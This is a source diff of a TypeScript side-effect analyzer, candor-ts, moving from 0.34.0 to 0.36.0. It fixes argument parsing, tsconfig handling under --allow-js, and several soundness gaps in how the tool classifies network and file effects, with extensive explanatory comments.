candor-ts 0.34.0 → 0.36.0

package/scan.mjs

@@ -35,7 +35,9 @@ import { unverifiedHoleRule, ruleUpgrade, canonicalDenySet, byCodePoint, claimsT
 import { printAgents, writeStdoutSync, writeSinkAtomic, resolveSinkArtifact, isCandorConfigSink } from "./contract.mjs";
 import { isTestPath, kappa, kappaKnows, nodeCoreUnreviewed, fsKind, commandHeadEffects, hostLiteral,
          tablesInSql, modelHostEffects, isModelHost, isModelSdkPackage, netClassesOf,
-         partnerFor } from "./scan-core.mjs";
+         partnerFor, CLOCK_READING_PERFORMANCE_MEMBERS, CLOCK_READING_PROCESS_MEMBERS,
+         CLOCK_READING_CONSOLE_MEMBERS, CONNECTING_WEB_CTORS,
+         WEB_WIRE_MEMBERS } from "./scan-core.mjs";
 import { emitSurface } from "./surface.mjs";
 
 const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
@@ -46,7 +48,7 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
 // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
 // Reused, never re-littered.
 const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
-const SPEC_VERSION = "0.34";
+const SPEC_VERSION = "0.36";
 
 // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
 //
@@ -205,6 +207,14 @@ const CONFIG_KEYS_IMPLEMENTED = new Set(["policy", "baseline", "deps", "unknown-
 // It carries its own `prefix` because §3.3.1's direct-file locator accepts any `.json` name whatever its
 // dot-segments: a consumer handed one file cannot recover the prefix from the filename.
 let refusalPrefix = null, refusalTarget = null;
+// The flags the parse loop accepts WITHOUT a value. A target may legitimately follow one of these
+// (`candor-ts --json .`), so they are not stopping points; the value-taking flags are skipped by the
+// arm above, and anything else dash-shaped is what that loop calls an unknown flag. `-h`/`-V`/
+// `--help`/`--version` are print-and-exit modes consumed before this walk and are listed for symmetry.
+const KNOWN_VALUELESS_FLAGS = new Set([
+  "--agents", "--json", "--allow-js", "--workspace", "--deps", "--dep-inits",
+  "--peek-excluded", "-h", "-V", "--help", "--version",
+]);
 const noteRefusalPrefix = (pfx) => { if (refusalPrefix === null) refusalPrefix = pfx; };
 const noteRefusalTarget = (t)   => { if (refusalTarget === null) refusalTarget = t; };
 const writeRefusalMarker = (why) => {
@@ -237,6 +247,7 @@ const clearRefusalMarker = () => {
 //      deleting the question.
 const preScan = (av) => {
   let gate = null, policy = null, target = null, out = null, refused = false;
+  let stopped = false, markerTarget = null;
   for (let i = 0; i < av.length; i++) {
     const a = av[i], v = av[i + 1];
     if (a === "--gate-json" || a === "--policy" || a === "--out") {
@@ -262,11 +273,23 @@ const preScan = (av) => {
       i++;
       continue;
     }
+    // ⟨0.32⟩ A TOKEN THE PARSE LOOP WOULD REFUSE STOPS THE MARKER TARGET, BUT NOT THE GUARD TARGET.
+    // The two consumers of this walk want opposite things and used to share one variable. `target`
+    // feeds the input GUARDS, where the comment above is right that over-collecting can only protect a
+    // file more. `markerTarget` feeds the ⟨0.32⟩ refusal MARKER's prefix, where over-collecting is a
+    // WRITE: measured, `candor-ts --scope src` resolved `src` — the rejected flag's operand — and the
+    // marker was written to `src/.candor/`, creating that directory in the operator's tree. The parse
+    // loop never reaches that token; it refuses at `--scope`. candor-rust had the same defect on a
+    // different argv (SOUNDNESS R232); candor-swift writes nothing here and is the shape to match.
+    if (a.startsWith("-") && !KNOWN_VALUELESS_FLAGS.has(a)) stopped = true;
     // The scan TARGET, needed to discover the `.candor/config` whose `policy` key may name an input
     // this sink must not overwrite.
-    if (!a.startsWith("-") && target === null) { target = a; noteRefusalTarget(a); }
+    if (!a.startsWith("-") && target === null) {
+      target = a;
+      if (!stopped && !refused) { markerTarget = a; noteRefusalTarget(a); }
+    }
   }
-  return { gate, policy, target, out };
+  return { gate, policy, target, out, markerTarget };
 };
 
 // SPEC §3.3.1 ⟨0.28⟩ — every `--gate-json` this argv names. `preScan` keeps only the last, which is what
@@ -512,7 +535,7 @@ const preGateSink = preScan(argv).gate;
 // The raw target is used rather than the resolved root: they coincide for a directory target, and being
 // slightly wrong about WHERE costs a marker nobody reads, while being late costs the marker entirely.
 {
-  const preT = preScan(argv).target;
+  const preT = preScan(argv).markerTarget;
   if (preT) { noteRefusalTarget(preT); noteRefusalPrefix(path.join(preT, ".candor", "report")); }
 }
 // ⟨0.28⟩ SPEC §3.3.1 (4) — THE SAME RULE ONE HOP UPSTREAM, FOR THE REPORT STREAM. `--json` is the
@@ -1349,9 +1372,39 @@ function withNodeTypes(options) {
   return { ...options, types: [...new Set([...t, "node"])] };
 }
 
-function fromTsconfig(cfgPath, baseDir) {
+// R91: widen the FILE SET `--allow-js` admits from a tsconfig WITHOUT discarding the tsconfig's other
+// compiler options (`paths`, `baseUrl`, `strict`, ...) — the bug this replaces bypassed the whole config
+// the moment the flag was passed, silently losing path-alias resolution for every project that has one.
+// `admitJs` asks the TypeScript API itself to widen (rule G: ask the authority, never reimplement) rather
+// than hand-rolling a second file-discovery pass that could disagree with the program `ts.createProgram`
+// actually builds.
+function admitJsInConfig(rawConfig) {
+  const cfg = { ...rawConfig, compilerOptions: { ...(rawConfig.compilerOptions ?? {}), allowJs: true } };
+  if (cfg.include === undefined) {
+    // A `files`-only config (no `include` at all) NEVER directory-walks, `allowJs` or not — TypeScript's
+    // own "default to **/*" rule only fires when BOTH `files` and `include` are absent. This is execa's
+    // actual tsconfig at the moment `--allow-js` was introduced (`{"files": ["index.d.ts"]}`, verified
+    // against the real published tsconfig.json at that date) — the tree the flag exists to unblock, where
+    // the config names only a hand-written `.d.ts` and none of the real `.js` implementation. Recover
+    // exactly that shape, and no other.
+    if (cfg.files !== undefined) cfg.include = ["**/*"];
+  } else {
+    // An include pattern that names a TS extension explicitly (`src/**/*.ts`) does not admit `.js`
+    // regardless of `allowJs` — only an extension-LESS pattern (`src`, `src/**/*`, the common template)
+    // widens automatically once `allowJs` is true. Add each such pattern's `.js`-family sibling alongside
+    // it; this is the literal "TS-only tsconfig include" the commit that introduced `--allow-js`
+    // (b68864d) named as its target. An extension-less pattern maps to itself and contributes nothing.
+    const jsSibling = (p) => p.replace(/\.mts$/, ".mjs").replace(/\.cts$/, ".cjs")
+      .replace(/\.tsx$/, ".jsx").replace(/(?<!\.[mc])\.ts$/, ".js");
+    const extra = cfg.include.map(jsSibling).filter((p, i) => p !== cfg.include[i] && !cfg.include.includes(p));
+    if (extra.length) cfg.include = [...cfg.include, ...extra];
+  }
+  return cfg;
+}
+function fromTsconfig(cfgPath, baseDir, admitJs = false) {
   const cfg = ts.readConfigFile(cfgPath, ts.sys.readFile);
-  const parsed = ts.parseJsonConfigFileContent(cfg.config ?? {}, ts.sys, baseDir);
+  const rawConfig = admitJs ? admitJsInConfig(cfg.config ?? {}) : (cfg.config ?? {});
+  const parsed = ts.parseJsonConfigFileContent(rawConfig, ts.sys, baseDir);
   compilerOptions = withNodeTypes(parsed.options);
   let names = parsed.fileNames;
   // SOLUTION-STYLE configs (`files: [], references: [...]` — hono, most monorepo roots) list no
@@ -1363,7 +1416,8 @@ function fromTsconfig(cfgPath, baseDir) {
       const refPath = ts.resolveProjectReferencePath(ref);
       if (!fs.existsSync(refPath) || isTestPath(path.relative(baseDir, refPath))) continue;
       const sub = ts.readConfigFile(refPath, ts.sys.readFile);
-      const subParsed = ts.parseJsonConfigFileContent(sub.config ?? {}, ts.sys, path.dirname(refPath));
+      const subRawConfig = admitJs ? admitJsInConfig(sub.config ?? {}) : (sub.config ?? {});
+      const subParsed = ts.parseJsonConfigFileContent(subRawConfig, ts.sys, path.dirname(refPath));
       if (names.length === 0) compilerOptions = withNodeTypes(subParsed.options);
       names = names.concat(subParsed.fileNames);
     }
@@ -1394,7 +1448,7 @@ const admitsAsSource = (name) =>
 if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
   rootDir = path.dirname(path.resolve(target));
   usedTsconfig = path.resolve(target);
-  fileNames = fromTsconfig(path.resolve(target), rootDir);
+  fileNames = fromTsconfig(path.resolve(target), rootDir, allowJs);
 } else if (stat.isFile()) {
   rootDir = path.dirname(path.resolve(target));
   // ⟨0.31⟩ A SINGLE-FILE TARGET IS ADMITTED BY THE SAME RULE AS A FILE INSIDE A DIRECTORY, and this
@@ -1413,9 +1467,13 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
 } else {
   rootDir = path.resolve(target);
   const tsconfig = path.join(rootDir, "tsconfig.json");
-  if (fs.existsSync(tsconfig) && !allowJs) {
+  // R91: a tsconfig is used WHENEVER one exists, `--allow-js` or not — the flag used to take the `else`
+  // branch unconditionally, discarding `paths`/`baseUrl`/every other compiler option along with `include`.
+  // `fromTsconfig`'s own `admitJs` parameter (below) is what widens the file set now; this condition no
+  // longer decides between "read the tsconfig" and "ignore it".
+  if (fs.existsSync(tsconfig)) {
     usedTsconfig = tsconfig;
-    fileNames = fromTsconfig(tsconfig, rootDir);
+    fileNames = fromTsconfig(tsconfig, rootDir, allowJs);
   } else {
     fileNames = [];
     (function walk(d) {
@@ -2332,7 +2390,21 @@ const ALIAS_HOPS = 16;
  *
  * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
  * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
- * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely.
+ *
+ * ⟨R103⟩ MEMBER WRITES GO IN THE SAME SET, because they are the same question. `this.h = evil` and
+ * `C.h = evil` make `h`'s value not its initializer for exactly the reason `send = fetch` does, and
+ * `openCallSlot` below is the reader. One set, not two: this rule already had one private copy too many
+ * once (see `unaliasGlobal`'s "DEFINED ONCE, ON PURPOSE"), and a second implementation of "is this
+ * binding written anywhere" is how the next spelling gets missed.
+ *
+ * WHAT THIS DOES TO THE ALIAS UNWRAP, stated as the assumption it is rather than as a guarantee. The
+ * unwrap only ever looks up symbols of IDENTIFIER bindings, so it sees a member symbol in exactly one
+ * situation: a bare identifier and a member write denote the SAME binding — `export namespace N { export
+ * let h = fetch; } N.h = evil;` — and there the extra entry is the right answer, because `h` really was
+ * written. It cannot fire on a mere NAME collision: `let send = fetch; obj.send = x; send(url)` targets
+ * two different symbols and `send` still resolves to Net (fixture in test.mjs, and it goes red if the
+ * set is keyed on text instead of symbols). */
 const reassignedCache = new WeakMap();
 const reassignedIn = (sf) => {
   let set = reassignedCache.get(sf);
@@ -2340,7 +2412,7 @@ const reassignedIn = (sf) => {
   set = new Set();
   const walk = (n) => {
     if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
-        && ts.isIdentifier(n.left)) {
+        && (ts.isIdentifier(n.left) || ts.isPropertyAccessExpression(n.left))) {
       const sym = checker.getSymbolAtLocation(n.left);
       if (sym) set.add(sym);
     }
@@ -2350,6 +2422,35 @@ const reassignedIn = (sf) => {
   reassignedCache.set(sf, set);
   return set;
 };
+// R130 — THE CLASS NAME A CONSTRUCT SIGNATURE DECLARES. Both `@types/node`'s `undici-types` and lib.dom
+// spell a constructible global as `declare (var|const) X: { prototype: X; new (…): X }`, so the resolved
+// declaration for a construction is a ConstructSignature with NO `.name`, sitting inside an ANONYMOUS type
+// literal. Every name-keyed branch in the classifier therefore sees `""` for it. The authority for the
+// identity is the binding the type literal belongs to: ConstructSignature -> TypeLiteral -> Variable-
+// Declaration. Returns "" for a `class`-declared constructor (whose parent is a ClassDeclaration) and for
+// anything else, so a caller can treat "" as "this mechanism cannot answer".
+//
+// R136 — …AND THE INTERFACE SPELLING, which is the second half of the same question. The lib files use
+// BOTH shapes for a constructible global: `declare var WebSocket: { new (…): WebSocket }` (an anonymous
+// type literal) and `declare var Date: DateConstructor; interface DateConstructor { new (): Date }` (a
+// NAMED interface). Only the first was walked, so every declaration-keyed branch saw `""` for the second
+// and a `Date` reached through an inherited constructor could not be named. Both parents are the binding
+// the construct signature belongs to; which one the lib author chose is not a fact about the program.
+// Still returns "" for a `class`-declared constructor (parent is a ClassDeclaration) and for anything
+// else. Callers use the answer ONLY to ADD a name to a denylist they already hold, never to remove one,
+// so widening the walk can over-charge and can never silence.
+function declaredCtorClassName(decl) {
+  const owner = decl && decl.parent;
+  if (owner && ts.isInterfaceDeclaration(owner)) {
+    return owner.name && ts.isIdentifier(owner.name) ? owner.name.text : "";
+  }
+  const vd = owner && ts.isTypeLiteralNode(owner) ? owner.parent : null;
+  return vd && ts.isVariableDeclaration(vd) && vd.name && ts.isIdentifier(vd.name) ? vd.name.text : "";
+}
+// R130 — `super(...)`. It is a CallExpression, not a NewExpression, so `ts.isNewExpression` is false and
+// `decl` is the BASE's construct signature — the shape `declaredCtorClassName` exists to read.
+const isSuperCall = (node) =>
+  ts.isCallExpression(node) && node.expression.kind === ts.SyntaxKind.SuperKeyword;
 const unaliasGlobal = (expr) => {
   let hop = 0;
   for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
@@ -2745,6 +2846,30 @@ function programHeadLiteral(node) {
 // options in the other overloads) — so those two members read arg0-or-arg1. Only STRING-LITERAL positions
 // are considered; returns null when the URL slot is not a static string literal — the safe direction.
 const NET_URL_ARG1_MEMBERS = new Set(["connect", "createConnection"]);
+// R130 — THE Net USE-VERBS, whose argument 0 is the PAYLOAD and never an endpoint. ⟨0.29⟩ fixed exactly
+// this class in three of the four locator surfaces — `programHeadLiteral` for `Exec`, `fsPathLiteral` for
+// `Fs`, the SQL slot for `Db` — and in `Net` it fixed only the POSITION (`fetch(runtimeUrl, "literal")`)
+// and the ONE verb whose position is neither first nor second (dgram `send`). The whole-module `net`
+// rule classifies every non-exempt member `Net`, so `write`/`end` arrive here with their payload at
+// position 0 and fell through to `litAt(0)`. MEASURED on PUBLISHED candor-ts 0.34.0, in isolation:
+//
+//     export function w(s: net.Socket) { s.write("api.example.com"); }
+//        ->  inferred ["Net"], hosts ["api.example.com"], NO `incomplete`
+//        ->  `allow Net in src api.example.com`  =>  policy ✓, exit 0
+//
+// over a socket whose destination this scan never saw. A fabricated destination masking an invisible one
+// — the dgram defect verbatim, one verb over, and it survived because `netEstablishing` (which already
+// excludes use-calls, and whose comment says so: *"NEVER use-calls (write/end/non-dgram send)"*) governs
+// only the `incomplete` branch and was never consulted by the CAPTURE branch. Two paths, one question.
+//
+// FAILURE DIRECTION: this is a list of verbs whose capture is SUPPRESSED, so a verb missing from it keeps
+// today's behaviour (still fabricates) and a verb wrongly IN it loses a host literal — which removes an
+// `allow`-list certification and can never add one. Forgetting an entry under-fixes; it cannot
+// under-report an effect, because `Net` itself is charged by κ either way and is untouched here.
+// Only verbs whose argument 0 is a STRING PAYLOAD are listed: `destroy`/`cork`/`ref` take no string and
+// cannot fabricate, so naming them would be decoration. `pipeline` is deliberately ABSENT — undici's
+// `pipeline(url, opts, handler)` really does put the URL first.
+const NET_USE_VERBS = new Set(["write", "end", "send", "emit", "push", "unshift"]);
 // ⟨0.29⟩ dgram's `send` puts the DESTINATION ADDRESS at position 2 or 4, and position 0 is the MESSAGE.
 // Falling through to `litAt(0)` read the payload as the endpoint: MEASURED,
 // `sock.send("telemetry.example", 0, 17, 53, dst)` published `hosts: ["telemetry.example"]` with NO
@@ -2916,6 +3041,9 @@ function urlArgLiteral(node, member, mod) {
     const i = dgramSendAddressIndex(args);
     return i < 0 ? null : litAt(i);
   }
+  // R130 — a USE-VERB names no endpoint (NET_USE_VERBS). Asked AFTER dgram's `send`, which is the one
+  // spelling of `send` that does carry a destination, so that rule keeps its own answer.
+  if (member && NET_USE_VERBS.has(member)) return null;
   return litAt(0);
 }
 // Is arg0 a RUNTIME STRING expression whose host can't be known statically — a template, a string
@@ -3082,7 +3210,7 @@ const classOverrides = new Map();// base-method MemberDeclaration node -> overri
 const classDescendants = new Map();// base ClassDeclaration -> transitive LOCAL subclass ClassDeclarations (coercion-CHA)
 // `Object.defineProperty(target, key, { get/set })` runtime accessors (the silent-pure defineProperty
 // hole): the TS checker types `target.key` as a plain DATA property (defineProperty is a runtime
-// construct), so `accessorAt` finds no get-accessor and the forcing site `target.key` reads
+// construct), so `accessorsAt` finds no get-accessor and the forcing site `target.key` reads
 // silent-pure. We index, keyed by the TARGET's symbol → key string → { get, set } descriptor function
 // node, every such accessor seen in the project. The forcing-site arm consults this when the type-level
 // accessor resolution comes up empty (precise edge when target+key resolve; else honest Unknown).
@@ -3803,6 +3931,115 @@ function resolveFnRefUnit(refNode, depth = 0) {
   return null;
 }
 
+/** ⟨R103⟩ A CALL THROUGH A WRITABLE SLOT IS NOT A CALL TO THAT SLOT'S INITIALIZER.
+ *
+ * `class Sink { handler = pureDefault; fire() { return this.handler(); } }` — the checker types
+ * `handler` as `typeof pureDefault`, so `getResolvedSignature` hands `visitCalls` the FunctionDeclaration
+ * and the call edges to it. MEASURED on published 0.34.0 (SOUNDNESS R103): the whole report was
+ * `functions: []`, and `deny Fs`, `deny Unknown`, `pure`, `deny Unknown src.lib.Sink.fire` and
+ * `pure src.lib.Sink.fire` ALL exited 0 while a consumer doing `s.handler = () => fs.writeFileSync(…);
+ * s.fire()` really did write the file (executed, not reasoned). The mirror direction was live too:
+ * `private h = fsThing; constructor(){ this.h = () => "x"; } fire(){ return this.h(); }` charged the
+ * caller Fs off a slot that by then held a pure arrow — a POSITIVE WRONG claim, not just silence.
+ *
+ * NEITHER is a new question. `reassignedIn` above already states the rule, one function away, for the
+ * identifier spelling: "ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is
+ * available, so say so." This routes the member spelling onto that same rule and adds the one thing a
+ * member has that a local does not: a slot can be written by code this scan never sees.
+ *
+ * A METHOD IS NOT A SLOT, and that is the line. `fire(){…}` declares flesh; `handler = …` declares a
+ * storage location that happens to be seeded with flesh. `Sink.prototype.fire = evil` is also legal JS,
+ * but treating every method call as Unknown answers nothing about any program; treating a member whose
+ * declaration is a *slot* as Unknown is the ⟨0.19⟩ callback posture this engine already takes for
+ * `handler: () => string = pureDefault` — which, MEASURED at HEAD, correctly yields
+ * `Unknown[callback:…]`. The only thing separating the two spellings today is whether the author wrote a
+ * type annotation. That is not a fact about who can write the slot.
+ *
+ * WHAT COUNTS AS CLOSED — one exemption, and it is measured, not stylistic:
+ *   · `private` / `#` AND never written in its own file ⇒ CLOSED, resolves precisely as before. A
+ *     private member can only be written from inside its own class body, so its own source file is a
+ *     complete view of the writes — the same locality `reassignedIn` already relies on.
+ *   · everything else ⇒ OPEN. `public`, `protected` (a subclass outside this scan writes it), `static`,
+ *     and — deliberately — `readonly`.
+ *
+ * `readonly` IS NOT CLOSED, and this was measured rather than argued (tsc 6.0.3, exit 0, executed):
+ * readonly-ness is not part of property assignability, so `const w: { handler: () => string } = r;
+ * w.handler = evil;` compiles with NO cast and NO `any`, and `r.fire()` then returns the attacker's
+ * value. The same widening against a `private` member is a hard error (TS2322). So the type system
+ * enforces `private` and does not enforce `readonly`; only the enforced one may narrow a sound
+ * over-approximation (denylist-over-allowlist).
+ *
+ * THE `private` EXEMPTION IS AN ASSUMPTION, NOT A GUARANTEE, and is worded that way on purpose: `private`
+ * is erased at emit, so a JavaScript consumer, `(s as any).h = …`, or `Object.defineProperty` writes it
+ * regardless. The exemption says candor models the DECLARED interface. It is kept because dropping it
+ * costs the precision this engine's `private envField = () => process.env.HOME` control depends on, and
+ * because a cast is a deliberate act of defeating the declaration — not because the slot is unwritable.
+ *
+ * Returns null for a closed slot (caller resolves exactly as before), else a short callee text for the
+ * `callback:` reason. */
+// THE HIT COUNTER IS PART OF THE FIX, not scaffolding. An A/B that comes back byte-identical says
+// nothing until you can show the corpus REACHED the changed branch (AGENT-CORPUS-BRIEF §E1 — four rows
+// in one day reported a clean zero-diff over corpora that contained none of the shape). `CANDOR_R103_HITS=1`
+// prints one line per slot kind to stderr, so the next person measuring this does not have to re-add it.
+const R103_HITS = process.env.CANDOR_R103_HITS ? new Map() : null;
+const r103Hit = (k) => { if (R103_HITS) R103_HITS.set(k, (R103_HITS.get(k) ?? 0) + 1); };
+if (R103_HITS) process.on("exit", () => {
+  const rows = [...R103_HITS].sort();
+  process.stderr.write(`R103-HITS total=${rows.reduce((a, [, n]) => a + n, 0)}`
+    + rows.map(([k, n]) => ` ${k}=${n}`).join("") + "\n");
+});
+function openCallSlot(node) {
+  if (!ts.isCallExpression(node)) return null;             // `new X()` constructs a class, not a slot
+  let callee = node.expression;
+  while (ts.isParenthesizedExpression(callee)) callee = callee.expression;
+  // ELEMENT ACCESS IS THE SAME SLOT BY ANOTHER SPELLING, and it is here because the first draft of this
+  // comment asserted the opposite — "an element access already reaches the dynamic-key/`callback:` arms"
+  // — and that was FALSE when measured: `this["handler"]()` and `this[k]()` (k narrowed to the literal
+  // key) both read `["Fs"]` with no Unknown, through the identical open slot. An assertion written by the
+  // commit that needs it to be true is the most expensive kind, so it was checked instead of believed.
+  if (!ts.isIdentifier(callee) && !ts.isPropertyAccessExpression(callee)
+      && !ts.isElementAccessExpression(callee)) return null;
+  // The SLOT's own symbol — deliberately NOT `realDecl`, which follows aliases through to the target and
+  // is exactly the hop that loses the question. `getSymbolAtLocation` returns undefined for an element
+  // access (MEASURED, which is why the first attempt at the branch above silently did nothing), so the
+  // member is looked up on the RECEIVER's type by the key's own string-literal TYPE — that covers both
+  // `this["handler"]` and `this[k]` where `k: "handler"`, and yields nothing for a genuinely dynamic key,
+  // which is right: that call is already `Unknown` through the dynamic-key arm.
+  const sym = ts.isElementAccessExpression(callee)
+    ? (() => {
+        const kt = callee.argumentExpression && checker.getTypeAtLocation(callee.argumentExpression);
+        const key = kt && kt.isStringLiteral?.() ? kt.value : null;
+        const rt = checker.getTypeAtLocation(callee.expression);
+        return key && rt ? checker.getPropertyOfType(rt, key) : undefined;
+      })()
+    : checker.getSymbolAtLocation(callee);
+  const d = sym?.valueDeclaration ?? sym?.declarations?.[0];
+  if (!d) return null;
+  // THE JS/CommonJS SPELLING OF THE SAME SLOT, and it is not a guess about JavaScript — both forms were
+  // EXECUTED against a real `require()` consumer: `module.exports.handler = evil; lib.fire()` returned
+  // the attacker's value, and so did `s.handler = evil2` against a constructor-assigned instance field.
+  // The checker gives these no PropertyDeclaration at all: `this.h = f` in a constructor synthesises a
+  // symbol whose valueDeclaration is the BinaryExpression, and `module.exports.h = f` / `exports.h = f`
+  // one whose only declaration is the PropertyAccessExpression. There is nothing to exempt — JavaScript
+  // has no `private` (a `#` field is a PropertyDeclaration and goes down the branch below), and the
+  // declaration IS a write, so the `reassignedIn` question is answered before it is asked.
+  if (ts.isBinaryExpression(d) || ts.isPropertyAccessExpression(d)) {
+    r103Hit("js-expando");
+    return callee.getText().replace(/\s+/g, "").slice(0, 60);
+  }
+  if (!ts.isPropertyDeclaration(d)) return null;
+  const flags = ts.getCombinedModifierFlags(d);
+  const encapsulated = !!(flags & ts.ModifierFlags.Private)
+    || (d.name && ts.isPrivateIdentifier(d.name));
+  const written = !!sym && reassignedIn(d.getSourceFile()).has(sym);
+  if (encapsulated && !written) return null;               // CLOSED — see the exemption above
+  r103Hit(encapsulated ? "private-written"
+          : (flags & ts.ModifierFlags.Static) ? "static"
+          : (flags & ts.ModifierFlags.Protected) ? "protected"
+          : (flags & ts.ModifierFlags.Readonly) ? "readonly" : "public");
+  return callee.getText().replace(/\s+/g, "").slice(0, 60);
+}
+
 // Unwrap a `<ref>.bind(…)` partial-application chain to the underlying function-reference RECEIVER.
 // `setTimeout(this.flush.bind(this), 0)` / `effFs.bind(null)` / `cb.bind(null,a).bind(null,b)` schedule the
 // BOUND function, but the argument node is a CallExpression (callee = PropertyAccessExpression `.bind`), so
@@ -3831,6 +4068,240 @@ function unwrapBind(node, depth = 0) {
   return { ref: (ts.isIdentifier(recv) || ts.isPropertyAccessExpression(recv)) ? recv : null };
 }
 
+// ⟨0.35, PART 87 fix⟩ STRUCTURAL / SYNTHESISED INTERFACE IMPLEMENTORS — the candidate-set-completion
+// half of "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE" (SPEC ⟨0.35⟩). `interfaceImpls` above only
+// ever registers a NOMINAL `class X implements Y`. The dispatch site below (the interface-CHA fanout)
+// reads `interfaceImpls.get(iface)` as though it were the WHOLE candidate set: once it is non-empty it
+// requires every entry's member to resolve and, if so, calls the dispatch COMPLETE and suppresses
+// Unknown. A value actually produced by a STRUCTURAL conformer — an object literal, a class EXPRESSION,
+// a bound method reference, `Object.assign`'s result — was invisible to that registry, so adding one
+// unrelated NOMINAL implementor flipped `allResolved` true over a candidate set that was never complete.
+// MEASURED on the published 0.34.0 artifact (PART 87): the calling function VANISHED from `functions[]`
+// entirely — no effects, no Unknown, no disclosure.
+//
+// This pass registers every LOCALLY VISIBLE structural implementor into the SAME `interfaceImpls` map,
+// mixed with nominal classes. That claim needs a name for every consumer, not an assertion: the ordinary
+// interface-CHA dispatch site (`cls.members ?? cls.properties ?? []`) DOES handle a structural entry —
+// it was written that way in this same commit. Two others did not, both corrected 2026-09-01 after this
+// commit shipped and both MEASURED, not assumed clean the way this paragraph used to read:
+// `coercionChaClasses`'s consumer `localClassMember` read only `cur.members`, so a structural
+// implementor's coercion member (e.g. an object-literal `toString`) was silently invisible — see its own
+// comment for the fixture that reproduced it — and the workspace-chain union's `c.name?.text` silently
+// drops any implementor with no `.name` (every structural one), which could publish "pure across all
+// impls" when an unnamed implementor was not — see the `hadUnnamed` comment below for the fix. Detection
+// is via the CHECKER'S OWN contextual typing, not a hand-rolled shape matcher:
+// whatever a structurally-typed value flows INTO — a plain reassignment, an array-literal element, a
+// Map-literal tuple, a call argument — `checker.getContextualType` already resolves against that slot's
+// declared type, union-decomposed the same way the nominal branch decomposes a heritage clause. Two
+// shapes defeat plain contextual typing on the value itself and are climbed explicitly: `Object.assign`
+// — a well-known global whose own CALL keeps the real contextual type; its arguments read an anonymous
+// `__object`. `Object.assign`'s climb is sound because the LANGUAGE, not a type match, guarantees it: a
+// value passed to it really does end up on the object the expression evaluates to, whether it is the
+// mutated target or a source whose own enumerable properties are copied across by reference.
+//
+// A single-type-parameter `T -> T` "identity wrapper" (`function wrap<T>(x: T): T { … }`) was climbed
+// here too, originally on the theory that a signature spelling the SAME bare type-parameter name on both
+// sides PROVES the function returns its argument unchanged. It does not: TypeScript's structural type
+// system certifies that `wrap`'s return type is ASSIGNABLE to its parameter type, never that the
+// returned VALUE is the same value — a memoizing cache, a logging decorator, or a wrapper that fabricates
+// a fresh object of a compatible shape all type-check against `T -> T` while doing something else
+// entirely at runtime. MEASURED, 2026-09-01 (PART 87 hardening): a `wrap<T>(x: T): T { return makeReal()
+// as unknown as T }` that discards its argument and returns a genuinely different, effectful object
+// type-checked against this exact signature, and the SIGNATURE-ONLY climb picked the discarded PURE
+// argument as the interface's sole implementor — the calling function vanished from `functions[]`
+// entirely over code that provably writes to disk (candor-attack1 fixture).
+//
+// TIGHTENED rather than deleted: `isProvenIdentityReturn` (below `registerStructuralImpl`) additionally
+// requires the wrapper's ENTIRE body to be exactly `return x;` (or an arrow's concise `x`), with the
+// returned identifier resolved by the CHECKER to the SAME parameter symbol — a real proof read from
+// source, not a second guess wearing the first one's clothes. `return makeReal() as unknown as T` has a
+// body of one statement too, but that statement is not `return x;`, so it fails the proof and the climb
+// does not fire — the dispatch has no implementor to see and reads honest `Unknown[dispatch:…]`, exactly
+// as it did before PART 87. A genuine `return x;` wrapper still climbs and still resolves precisely; the
+// family's denylist-over-allowlist rule is satisfied because the narrowing case is now proven by the
+// actual code, exactly as `Object.assign`'s is proven by the language, never guessed from a shape.
+//
+// Every registered structural implementor's member is EITHER resolved (a real unit's effects reach the
+// dispatch — the disjunction's path (a), the candidate set is COMPLETED) or left unresolved (`nodeName`
+// has no entry for it — a `.bind()`/reference chain that cannot be pinned, a call result, a getter). The
+// SAME `allResolved` gate the nominal fanout already enforces turns an unresolved structural member into
+// a forced Unknown, disclosed rather than silent — path (b), for free, from one shared completeness
+// check. Local-only, mirroring the nominal branch's own bound: a structural value arriving from outside
+// this scan's own source tree (an argument passed by an external caller, a dependency's own callback)
+// is no more visible here than an external nominal implementor already was.
+function localInterfaceDeclsOfType(t) {
+  const out = [];
+  const consider = (ct) => {
+    const sym = ct?.getSymbol?.() ?? ct?.symbol;
+    for (const d of sym?.declarations ?? []) {
+      if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)) && !out.includes(d))
+        out.push(d);
+    }
+  };
+  if (!t) return out;
+  if (t.isUnion?.()) { for (const ct of t.types) consider(ct); } else consider(t);
+  return out;
+}
+function registerStructuralImpl(ifaceDecl, implNode, seen = new Set()) {
+  if (seen.has(ifaceDecl)) return;
+  seen.add(ifaceDecl);
+  if (!interfaceImpls.has(ifaceDecl)) interfaceImpls.set(ifaceDecl, []);
+  const arr = interfaceImpls.get(ifaceDecl);
+  if (!arr.includes(implNode)) arr.push(implNode);
+  // Climb super-interfaces too — the same reason the nominal branch does: a dispatch through `Sup`'s own
+  // signature must also see an implementor that only satisfies `Sub extends Sup` structurally.
+  for (const eh of ifaceDecl.heritageClauses ?? []) {
+    if (eh.token !== ts.SyntaxKind.ExtendsKeyword) continue;
+    for (const st of eh.types) {
+      let sym; try { sym = checker.getSymbolAtLocation(st.expression); } catch { sym = undefined; }
+      const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
+      for (const d of tgt?.declarations ?? [])
+        if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)))
+          registerStructuralImpl(d, implNode, seen);
+    }
+  }
+}
